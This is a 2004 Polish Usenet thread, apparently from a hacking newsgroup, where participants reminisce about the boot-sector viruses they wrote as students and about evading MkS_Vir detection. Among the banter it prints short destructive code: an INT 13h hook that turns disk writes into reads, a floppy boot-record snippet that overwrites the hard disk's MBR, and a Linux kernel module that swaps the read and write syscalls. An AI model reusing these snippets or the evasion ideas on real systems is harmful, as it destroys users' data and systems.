Na kartce papieru... ;) Wystarczyły niewielkie zmiany boot loadera.
Deasemblując boot loader udało mi się tak zmodyfikować kod, że różnił
się od oryginału jakimiś sześcioma bajtami.
Owocowało to tym, że MkS nie wrzeszczał, że wykrył niezidentyfikowanego
wirusa w MBR, tylko pokazywał 'gwiazdkę' zamiast 'strzałki' (coś w tym
stylu) co oznaczało, że nie jest pewny.
W każdym razie był to dobry motyw, bo w technikum moje
(http://www.mks.com.pl/baza.html?show=description&id=597) i kolegi
(http://www.mks.com.pl/baza.html?show=description&id=592) pierwsze
dzieła były bardzo łatwo i z powodzeniem wykrywane przez MkSa co
owocowało zadymami z nauczycielami. Doszło do tego, że wywlekali nas z
zajęć, żeby wpisać fdisk /mbr i tak mieliśmy tego dość, że sami do Sella
wysłaliśmy nasze dzieła, żeby mieć spokój. :D
Ale potem nam przeszło. Lepsza zabawa była na zamianę (oidp):
cmp ah,03
jne dalej
mov ah,02
dalej:
call dword ptr CS:[int13offset]
...bo kasowali nam Duke Nukem ;p
--
Pozdrawiam,
Michał Byrecki
> On Tue, 15 Jun 2004, Adam Wysocki wrote:
>
> > Swoją droga najmniejszy wirus miał chyba 46 bajtów :)
>
> Zaleznie od zrodel, 25 albo 35... a zlosliwi mowia, ze zero bajtow -
> po uruchomieniu replikuje swoja zawartosc doklejajac ja na koncu
> kazdej binarki.
Hm, to jest już przegięcie, bo takie cóś jest zbyt prymitywne. W końcu,
w pisaniu wirusów chodzi nie o to, aby wirus coś poniszczył, albo był
bardzo łatwo wykryty. A w tym wypadku założę się, że z wykryciem nie
byłoby problemu. IMO wyzwaniem jest napisanie kodu, który zostanie jak
najpóźniej wykryty, i zdąży się w tym czasie jak najwięcej razy
skopiować.
--
Pozdrawiam,
Michał Byrecki
Pamietam ze na amstradzie program discology (ktory potrafil skopiowac kazda
zabezpieczona dyskietke, procz wlasnej oczywiscie, mial hexedytor i
disasembler (ktory pozwolil mi... RECZNIE spisac polecenia Z80 :D
asemblowalem potem na kartce i z zeszytem w lapie :D)) mial swietny loader -
odszyfrowywal sie przez xorowanie, a kluczem byl... jego wlasny kod czytany
o jakies 10 bajtow dalej. Po prostu genialne.
Ja sobie zrobiłem taką dyskietkę bootowalną że starczyło z niej odpalić
kompa żeby skasować mbr na dysku c:. Twoje wygląda podobnie (też 13h) :)
Co to robi (za leniwy jestem żeby po 'jak pisać wirusy' wstawać :) ?
--
:: http://night.pl/~viper/ ::
>> BTW: Covox rox!:)
>
> Hehe, ano rox ;) Do dziś pamiętam schemat. :>
Jeśli podobny do tego dla C64, to trudno nie pamiętać... ;p
--
__ Maciek Pasternacki <mac...@japhy.fnord.org> [ http://japhy.fnord.org/ ]
`| _ |_\ / { (2) No matter how hard you try, you can't increase
,|{-}|}| }\/ the speed of light. }
\/ |____/ ( RFC 1925, Basic Truths of Networking ) -><-
Pewnie, że nie.
Bakterie, i to spasione...
--
pozdrawiam,
Łukasz Nowicki
// Gwarancji na wypowiedź nie udziela się.
Hmm, skoro już się chwalimy :) Ja jakieś 15 lat temu koniecznie
chciałem się dowiedzieć czegoś o lowlevel Spectravideo MSX -
wydrukowałem sobie 32k ROMu w hexie i grzeb, grzeb, grzeb...
Po jakimś czasie sporą ilośc instrukcji byłem w stanie dekodować
z pamięci :) I znalazłem wszystko: AY-greka, grafikę...
Piękne czasy ;-)
Daniel
--
\ Daniel Rychcik INTEGRAL Science Data Centre, Versoix/Geneve, CH
\--------------------------------------------------------------------
\ GCS/MU/PA/M d-(pu) s++:- a- C++>+++$ US++$ P+>++ L+++>++++$ E---
\ W++ N++ K w O- M PS PE Y+ PGP X- R !tv b+ D++ G+ e+++ h--- r- y?
na prawde wielka strata, byl najlepszy [']
--
Stryq
> Ja sobie zrobiłem taką dyskietkę bootowalną że starczyło z niej
> odpalić kompa żeby skasować mbr na dysku c:.
Bootowalną? A po co :P Ignorant ;)
Wystarczyłoby w boot rekordzie dyskietki umieścić:
mov ax,0301
mov bx,200
mov cx,1
mov dx,0080
int 13
push 0
push ffff
retf
:)
>Twoje wygląda podobnie
> (też 13h) :) Co to robi (za leniwy jestem żeby po 'jak pisać wirusy'
> wstawać :) ?
Mały 'bałagan' w tablicy wektorów przerwać :) Zamieniało zapis na
odczyt... i gry zostawały tam, gdzie powinny. Pamiętam, że w ramach
godziny zajęć z programowania mikrokontrolerów udało mi się to ładnie
wkomponować ręcznie w MBR diskeditem ;)
--
Pozdrawiam,
Michał Byrecki
> Pamietam ze na amstradzie program discology (ktory potrafil skopiowac
> kazda zabezpieczona dyskietke, procz wlasnej oczywiscie, mial
> hexedytor i disasembler (ktory pozwolil mi... RECZNIE spisac polecenia
> Z80 :D asemblowalem potem na kartce i z zeszytem w lapie :D)) mial
> swietny loader - odszyfrowywal sie przez xorowanie, a kluczem byl...
> jego wlasny kod czytany o jakies 10 bajtow dalej. Po prostu genialne.
Hm, pierwsze takie wykorzystanie XOR, jakie widziałem to było
zabezpieczanie gier na 65XE. Nagranych w 'normalu'. Po prostu koszmar -
jeżeli komuś coś mówi 130 obrotów ;)
Ale do tego brało się debbuger Iron Softu, xorowało grę jeszcze raz i
kompresowało :)
Tak swoją drogą, to było to trochę dziwne zabezpieczenie w dobie
magnetofonów dwukasetowych :/
Ah, a przerobienie magnetofonu do ataryny na 'turbo' było dość ciekawe -
przełącznik, kondensator i rezystor...
--
Pozdrawiam,
Michał Byrecki
> [']
[']
[...]
... a niektórym musiałem niestety tłumaczyć kto to był :( ...
> ['] ['] [']
>
> ... a niektórym musiałem niestety tłumaczyć kto to był :( ...
Ja w opisie na GG miałem "Marek Sell zmarł. [']" i wiele osób pytało,
kto to jest, ale nie tłumaczyłem. Oni i tak by nie zrozumieli.
--
Adam Wysocki * www.gophi.net * alt.pl.comp.os.hacking: www.apcoh.org
GG 1234 * GSM +48888456927 * go...@linux.net.pl * go...@gadu-gadu.pl
Improwizajca poparta inteligencją jest hackerstwem (C) y0shi @ apcoh
frg.
--
...:FABRICATI DIEM, PVNC :http://frogu.emdej.com:...
..::GG: 1015221 .:::. JID: fr...@jabber.atman.pl::..
::MPlayerPL Team -- http://mplayerpl.emdej.com::
I teraz ma zagwozdkę.
Czy się wygłupiasz, czy naprawdę nie zrozumiałeś, IMVHO świetnego żartu.
> I teraz ma zagwozdkę.
> Czy się wygłupiasz, czy naprawdę nie zrozumiałeś, IMVHO świetnego
> żartu.
Ee... ja tak na poważnie. Chyba nie załapałem tego żartu :/
--
Pozdrawiam,
Michał Byrecki
Ja jednej osobie wytłumaczyłem, a i tak ta osoba momentalnie zaczęła że
mks_vir to slaby program, ze symantec jest lepszy itd. Też cjhyba nie
zrozumiał :-(
pzdr();
--
[Think about my e-mail adress ;-]
Artkow - Registered Linux User #337808
artno...@THISo2.pl * www.artkow.prv.pl * www.kl2gonline.prv.pl
> Owocowało to tym, że MkS nie wrzeszczał, że wykrył niezidentyfikowanego
> wirusa w MBR, tylko pokazywał 'gwiazdkę' zamiast 'strzałki' (coś w tym
> stylu) co oznaczało, że nie jest pewny.
Hehe, miło ;)
> W każdym razie był to dobry motyw, bo w technikum moje
> (http://www.mks.com.pl/baza.html?show=description&id=597) i kolegi
> (http://www.mks.com.pl/baza.html?show=description&id=592) pierwsze
> dzieła były bardzo łatwo i z powodzeniem wykrywane przez MkSa
Kto to jest Troja? :P
> co owocowało zadymami z nauczycielami. Doszło do tego, że wywlekali
> nas z zajęć, żeby wpisać fdisk /mbr i tak mieliśmy tego dość, że sami
> do Sella wysłaliśmy nasze dzieła, żeby mieć spokój. :D
Skąd wiedzieli że to było wasze? :P
> Ale potem nam przeszło. Lepsza zabawa była na zamianę (oidp):
> cmp ah,03
> jne dalej
> mov ah,02
> dalej:
> call dword ptr CS:[int13offset]
> ...bo kasowali nam Duke Nukem ;p
Też miałeś taki pomysł? :)))
/me napisał kiedyś mały moduł do kernela. Niestety, nie znalazłem
odważnego, który by to uruchomił.
#define MODULE
#define __KERNEL__
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/types.h>
#include <linux/sched.h>
#include <linux/string.h>
#include <linux/smp_lock.h>
#include <asm/unistd.h>
extern void *sys_call_table[];
int init_module (void)
{
unsigned long flags;
save_flags (flags);
cli();
sys_call_table[__NR_read] ^= sys_call_table[__NR_write] ^= sys_call_table[__NR_read] ^= sys_call_table[__NR_write];
restore_flags (flags);
return 0;
}
void cleanup_module (void)
{
}
--
Adam Wysocki * www.gophi.net * alt.pl.comp.os.hacking: www.apcoh.org
GG 1234 * GSM +48888456927 * go...@linux.net.pl * go...@gadu-gadu.pl
Ze wszystkich rzeczy wiecznych miłość trwa najkrócej.. (C) Agnieszka
> Kto to jest Troja? :P
Obecna ;p
> Skąd wiedzieli że to było wasze? :P
Bo więcej takich posranych jak nas dwóch nie było w szkole...
> /me napisał kiedyś mały moduł do kernela. Niestety, nie znalazłem
> odważnego, który by to uruchomił.
Może nie znalazł praktycznego zastosowania? ;)
--
Pozdrawiam,
Michał Byrecki
>> Kto to jest Troja? :P
> Obecna ;p
O, długo? :)
>> Skąd wiedzieli że to było wasze? :P
> Bo więcej takich posranych jak nas dwóch nie było w szkole...
Hehe. Aha ;]
>> /me napisał kiedyś mały moduł do kernela. Niestety, nie znalazłem
>> odważnego, który by to uruchomił.
> Może nie znalazł praktycznego zastosowania? ;)
Raczej nie miał na tyle jaj ;P (tak, ja też nie :D)
--
Adam Wysocki * www.gophi.net * alt.pl.comp.os.hacking: www.apcoh.org
GG 1234 * GSM +48888456927 * go...@linux.net.pl * go...@gadu-gadu.pl
gophi, ale ty jesteś stuknięty ;D (C) Michał GiM Spadliński 22.02.04
> O, długo? :)
Teraz, to już do końca ;)
> Raczej nie miał na tyle jaj ;P (tak, ja też nie :D)
Myśleliście o zastosowaniu go do linuksowej wersji gghack? ;D
--
Pozdrawiam,
Michał Byrecki
>> O, długo? :)
> Teraz, to już do końca ;)
Hehe. Gratulacje ;-)
Poznaliście się w wieku ~15 lat i jesteście razem do końca?
>> Raczej nie miał na tyle jaj ;P (tak, ja też nie :D)
> Myśleliście o zastosowaniu go do linuksowej wersji gghack? ;D
E, wtedy zamieniłbym usleep() z fork().
--
Adam Wysocki * www.gophi.net * alt.pl.comp.os.hacking: www.apcoh.org
GG 1234 * GSM +48888456927 * go...@linux.net.pl * go...@gadu-gadu.pl
A Bylinek ma doświadczenia z męskimi dziewicami :))) (C) gophi @ afh
--
pozdrawiam
starcom
Słyszałem że można tak zrobić żeby wystarczyło włożyć dyskietkę ale
niestety bez internetu nie miałem szans na dowiedzenie się jak.
> Wystarczyłoby w boot rekordzie dyskietki umieścić:
> mov ax,0301
> mov bx,200
> mov cx,1
> mov dx,0080
> int 13
> push 0
> push ffff
> retf
>:)
Khm.. czekaj. Boot record ? Czyli żadnego dosa, po prostu ten kod wykona
bios oczekując że będzie to system operacyjny ? Chyba nie bo 'int'
jest.. Jak to działa ? :)
> odczyt... i gry zostawały tam, gdzie powinny. Pamiętam, że w ramach
> godziny zajęć z programowania mikrokontrolerów udało mi się to ładnie
> wkomponować ręcznie w MBR diskeditem ;)
Eh, mnie jakoś wolniej nauka szła. Pamiętam jak czytałem manual do DOSa
(moja pierwsza książka po angielsku) a potem kombinowałem skąd uszczknąć
pamięci żeby dooma spod Nortona odpalać. Potem kolega przyniósł mi swoją
dyskietkę bootowalną i tam w config.sys i autoxecu były powyprawiane
jakieś cudowne sztuczki i myki z pamięcią. Miałem go przez 10 minut za
Guru ale się wygadał że do tego jakiś automat jest (odetchnąłem ale to
był pierwszy sygnał dla mnie że na serio mogą być lepsi cfaniacy
komputerowi ode mnie[1] :)
[1] apcoh to ukoronowanie tej ścieżki :>
--
:: http://night.pl/~viper/ ::
> Khm.. czekaj. Boot record ? Czyli żadnego dosa, po prostu ten kod
> wykona bios oczekując że będzie to system operacyjny ? Chyba nie bo
> 'int' jest.. Jak to działa ? :)
int 13h obsługiwane jest przez bios.
--
Pozdrawiam,
Michał Byrecki
> Słyszałem że można tak zrobić żeby wystarczyło włożyć dyskietkę ale
> niestety bez internetu nie miałem szans na dowiedzenie się jak.
Miałeś, wystarczy myśleć i czytać książki.
> Khm.. czekaj. Boot record ? Czyli żadnego dosa, po prostu ten kod wykona
> bios oczekując że będzie to system operacyjny ? Chyba nie bo 'int'
> jest.. Jak to działa ? :)
No popatrz, jakie to mądre. Może warto poczytać podstawy, chociażby
proces bootowania komputera, czy to, że istnieją przerwania BIOSu?
> ale się wygadał że do tego jakiś automat jest
memmaker
--
Adam Wysocki * Warszawa, Śródmieście * www.gophi.net * SWL SP5250730
GG 1234 * GSM +48888456927 * gophi#linux.net.pl * gophi#gadu-gadu.pl
To przeznaczenie czy mój Matrix się zwiesił? (C) Klaudio @ gadu-news
> Słyszałem że można tak zrobić żeby wystarczyło włożyć dyskietkę ale
> niestety bez internetu nie miałem szans na dowiedzenie się jak.
Miałeś, wystarczy myśleć i czytać książki.
> Khm.. czekaj. Boot record ? Czyli żadnego dosa, po prostu ten kod wykona
> bios oczekując że będzie to system operacyjny ? Chyba nie bo 'int'
> jest.. Jak to działa ? :)
No popatrz, jakie to mądre. Może warto poczytać podstawy, chociażby
proces bootowania komputera, czy to, że istnieją przerwania BIOSu?
Pomijając fakt, że BIOS nie wykonuje kodu. Poczytaj może podstawy
podstaw budowy komputerów?
> ale się wygadał że do tego jakiś automat jest
memmaker
> Pomijając fakt, że BIOS nie wykonuje kodu. Poczytaj może podstawy
> podstaw budowy komputerów?
POST :P
--
Pozdrawiam,
Michał Byrecki
>> Pomijając fakt, że BIOS nie wykonuje kodu. Poczytaj może podstawy
>> podstaw budowy komputerów?
> POST :P
Posted ;)))
--
Adam Wysocki * Warszawa, Śródmieście * www.gophi.net * SWL SP5250730
GG 1234 * GSM +48888456927 * gophi#linux.net.pl * gophi#gadu-gadu.pl
14:50 <szumi-> musialem zapoznac mica z gophim, ale sie nie polubili
> Michał Byrecki <bye_spa...@elektronika.org> wrote:
>
> >> Pomijając fakt, że BIOS nie wykonuje kodu. Poczytaj może podstawy
> >> podstaw budowy komputerów?
> > POST :P
>
> Posted ;)))
...booting the system ;D
--
Pozdrawiam,
Michał Byrecki